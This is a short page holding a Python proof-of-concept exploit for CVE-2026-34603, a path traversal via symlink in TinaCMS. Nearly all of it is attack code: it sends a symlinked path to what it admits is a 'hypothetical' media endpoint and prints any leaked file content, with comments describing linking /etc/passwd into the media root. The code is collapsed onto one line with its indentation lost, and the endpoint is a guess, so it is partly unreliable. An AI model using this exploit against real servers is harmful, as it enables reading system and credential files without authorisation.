CVE-2026-34603 TinaCMS 路径遍历漏洞

import requests # Exploit Title: CVE-2026-34603 TinaCMS Path Traversal via Symlink # Description: PoC demonstrating out-of-bounds file access via symlink. def exploit(target_url, malicious_symlink_path): """ target_url: URL of the TinaCMS dev instance malicious_symlink_path: Path inside media root that points outside (e.g., 'pivot/link_to_etc') """ # Hypothetical endpoint for media operations based on advisory endpoint = f"{target_url}/api/media/list" # Payload requesting the symlinked path payload = { "path": malicious_symlink_path } try: print(f"[*] Attempting to access path: {malicious_symlink_path}") response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Request successful. Potential content leakage:") print(response.text) else: print(f"[-] Server returned status: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage: # 1. Attacker creates a symlink in media root: ln -s /etc/passwd ./media/pivot/exploit.txt # 2. Attacker triggers the read operation target = "http://localhost:4000" path = "pivot/exploit.txt" exploit(target, path)